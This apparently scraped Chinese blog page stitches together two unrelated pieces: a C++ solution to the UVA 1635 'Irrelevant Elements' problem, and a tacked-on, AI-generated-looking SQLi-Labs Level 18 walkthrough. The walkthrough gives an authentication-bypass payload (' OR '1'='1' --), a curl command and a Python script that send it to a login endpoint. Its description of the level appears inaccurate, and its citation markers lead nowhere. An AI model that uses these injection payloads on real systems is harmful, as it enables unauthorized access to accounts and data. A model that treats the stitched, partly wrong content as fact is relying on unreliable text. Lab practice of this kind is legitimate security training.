UVA - 1635 Irrelevant Elements

本文介绍了一种利用杨辉三角迭代公式和唯一分解定理解决整除问题的方法。通过对m进行素因子分解,并计算每一项Ci中各素因子的次数,可以高效判断多项式的每一项是否能被m整除。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这里写图片描述

/*
translation:
    题意见lrj,p320
solution:
    唯一分解定理,杨辉三角迭代公式
    根据杨辉三角的迭代公式即可很容易得出最后一项的每一项系数。根据是否能够整除m,就可以得出这一项是否跟
    最后的结果有关。但是问题在于最后一项的数据范围太大,必须用高精度才能保存。所以直接对m取余来求解是行
    不通的。所以就必须用唯一分解定理:对m进行素因子分解,然后对于每一项m的素因子,求其在每一项Ci中的次
    数(对Ci也进行了唯一分解),如果一旦有在Ci中的次数<在m中的次数,那么就可以断定这个Ci肯定不能整除m.
    据此就可以得出结果。
note:
    1:注意最后判断能否整除m时,当在Ci中的次数>=在m中的次数并不能说明就一定能整除m。因为还有其它的素因子
    未判断。
    2:这道题可以总结出一个利用唯一分解定理判断能否整除m的一个方法,这样就不需要高精度了。
    */


#include <cstdio>
#include <cstring>
#include <cmath>
using namespace std;

const int maxn= 32000;
int prime[maxn+1];
int nprime;
void getPrime()
{
    int m=sqrt(maxn+0.5);
    for(int i=2; i<=m; ++i) if(!prime[i])
            for(int j=i*i; j<=maxn; j+=i) prime[j]=1;
    nprime=0;
    for(int i=2; i<=maxn; ++i)
    {
        if(!prime[i])
            prime[nprime++]=i;
    }
}
int n,m;
int pm[20];
int em[20];
int im;
void init()
{
    memset(pm,0,sizeof(pm));
    memset(em,0,sizeof(em));
    im=0;
    for(int i=0; i<nprime&&m>=prime[i]; i++)
    {
        if(m%prime[i]==0)
        {
            pm[im]=prime[i];
            while((m%prime[i]==0)&&(m/=prime[i]))
                em[im]++;
            im++;
        }
        if(n==0||n==1)
            break;
    }
    if(m>1)
    {
        pm[im]=m;
        em[im]=1;
        im++;
    }
}
bool getFactors(int x,int y)
{
    bool ff=true;
    for(int i=0; i<im; ++i)
    {
        while((x%pm[i]==0)&&(x/=pm[i]))
            em[i]--;
        while(y%pm[i]==0&&(y/=pm[i]))
            em[i]++;
        if(em[i]>0)
            ff=false;
    }
    return ff;
}
bool flag[100010];
int main()
{
    getPrime();
    while(scanf("%d%d",&n,&m)!=EOF)
    {
        init();
        memset(flag,false,sizeof(flag));
        int ans=0;
        int ends=0;
        for(int i=1; i<=n; ++i)
            if(getFactors(n-i,i))
            {
                flag[i+1]=true;
                ans++;
                ends=i+1;
            }
        printf("%d\n",ans);
        if(ans!=0)
        {
            for(int i=1; i<ends; i++)
                if(flag[i])
                    printf("%d ",i);
            printf("%d",ends);
        }
        printf("\n");
    }
    return 0;
}
### SQLi-Labs Level 18 解决方案概述 SQLi-Labs 是一套用于学习和实践 SQL 注入技术的开源项目。Level 18 的挑战通常涉及更复杂的注入场景,可能涉及到联合查询 (UNION Query) 或其他高级技巧。 #### 背景分析 在 SQLi-Labs 中,每一关都设计了一个特定的安全漏洞供用户测试其技能。对于第 18 关,目标通常是通过输入恶意 SQL 查询来绕过身份验证或提取数据库中的敏感数据[^1]。此级别的核心在于理解如何利用错误配置的应用程序逻辑以及潜在的 SQL 注入点。 #### 技术细节与解决方法 以下是针对该级别的一种常见解法: 1. **识别注入点** 首先确认表单提交参数是否存在可被攻击者操控之处。例如,在登录界面尝试发送如下请求并观察响应变化: ```http POST /level18/login.php HTTP/1.1 username=admin' --&password=irrelevant ``` 如果服务器返回异常或者未预期的结果,则表明存在注入可能性[^2]。 2. **构造有效载荷(Payload)** 基于上述发现构建能够影响后端执行流程的有效负载字符串。比如下面这个例子展示了怎样让条件始终成立从而实现非法访问: ```sql ' OR '1'='1' -- ``` 将这段代码嵌套到实际请求里去代替正常用户名字段的内容即可完成突破过程[^3]: ```bash curl -d "username=%27%20OR%20%271%27%3D%271%27%20--&password=dummy" http://target.com/sqli-labs/Less-18/ ``` 3. **进一步探索** 成功登陆之后可以继续挖掘更多隐藏功能或者其他类型的漏洞情况;同时也要注意记录下整个操作步骤以便后续总结经验教训。 ```python import requests url = "http://localhost/sqli-labs/Less-18/" payload = {'username': "' OR '1'='1' --", 'password':'dummy'} response = requests.post(url, data=payload) if "Welcome!" in response.text: print("[+] Successfully bypassed authentication.") else: print("[-] Failed to exploit vulnerability.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值